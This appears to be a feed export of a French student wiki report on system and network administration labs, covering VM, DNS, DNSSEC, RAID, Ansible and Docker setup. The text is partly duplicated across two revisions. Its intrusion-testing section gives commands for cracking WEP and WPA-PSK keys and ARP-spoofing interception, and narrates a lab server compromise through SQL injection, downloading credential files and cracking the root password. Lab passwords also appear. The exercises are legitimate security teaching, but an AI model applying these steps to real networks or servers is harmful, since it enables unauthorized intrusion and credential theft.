  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
Nous avons dans un premier temps créé 3 partitions virtuelles:&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid3,xvda7,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
il faut ensuite redémarrer notre VM:&lt;br /&gt;
&lt;br /&gt;
 xl destroy Calicedelamort&lt;br /&gt;
 xl create /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
Suite à cela nous installons mdadm qui est l'utilitaire standard sous Linux utilisé pour gérer les périphériques RAID logiciel:&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;br /&gt;
&lt;br /&gt;
Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.&lt;br /&gt;
&lt;br /&gt;
 - name: Modification de /etc/motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/modif_motd&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/motd&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
 - name: Installation de ntp&lt;br /&gt;
   apt:&lt;br /&gt;
    name: ntp&lt;br /&gt;
    state: latest&lt;br /&gt;
 - name: Copie de ntp conf&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/ntp.conf&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/ntp.conf&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
===Docker===&lt;br /&gt;
&lt;br /&gt;
Avant d'installer docker sur notre VM, nous devons y installer python3, python3-pip, ainsi qu'un module docker de python. Pour cela, on crée un rôle ansible qui va réaliser cette installation.&lt;br /&gt;
&lt;br /&gt;
  - name: python install&lt;br /&gt;
    apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
    vars:&lt;br /&gt;
     packages:&lt;br /&gt;
           - python3&lt;br /&gt;
           - python3-pip&lt;br /&gt;
  - name: docker pip install&lt;br /&gt;
    pip:&lt;br /&gt;
      name:&lt;br /&gt;
           - docker&lt;br /&gt;
&lt;br /&gt;
On peut maintenant installer Docker sur notre VM. Pour cela, on a récupéré un rôle ansible 'geerlingguy.docker'&lt;br /&gt;
&lt;br /&gt;
Puis, on crée le playbook.yml suivant pour l'installation :&lt;br /&gt;
&lt;br /&gt;
  - hosts: Me_Chassiron&lt;br /&gt;
    roles:&lt;br /&gt;
       - basic&lt;br /&gt;
       - geerlingguy.docker&lt;br /&gt;
    vars:&lt;br /&gt;
       docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
       docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
La première étape consiste en la création d'un Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit l'image du Dockerfile, puis on le lance à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserveur .&lt;br /&gt;
 docker run -d webserveur&lt;br /&gt;
&lt;br /&gt;
On peut regarder si les commandes précédentes ont fonctionnées :&lt;br /&gt;
Affichage des images docker :&lt;br /&gt;
 docker images&lt;br /&gt;
Affichage des conteneurs en cours d'exécution :&lt;br /&gt;
 docker ps -a&lt;br /&gt;
&lt;br /&gt;
Puis, on utilise un rôle ansible pour créer un dépôt sur notre machine sur chassiron :&lt;br /&gt;
 - name: Docker registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: registry&lt;br /&gt;
          image: registry&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Une fois le dépôt créé, on peut push notre conteneur :&lt;br /&gt;
&lt;br /&gt;
 docker tag webserveur 192.168.42.9:5000/webserveur&lt;br /&gt;
 docker push 192.168.42.9:5000/webserveur&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se connecte sur notre VM chassiron et on pull :&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.9:5000/webserveur&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur Web sur tous les serveurs Web internes, nous utilisons le rôle ansible suivant :&lt;br /&gt;
&lt;br /&gt;
 - name: container webserver&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: calicedelamort_container&lt;br /&gt;
          image: 192.168.42.9:5000/webserveur_calicedelamort&lt;br /&gt;
          ports:&lt;br /&gt;
               - &amp;quot;8089:80&amp;quot;&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55175</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55175"/>
				<updated>2020-12-22T14:35:10Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Configuration des serveurs internes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 9&lt;br /&gt;
| calicedelamort.site&lt;br /&gt;
| 193.48.57.180&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
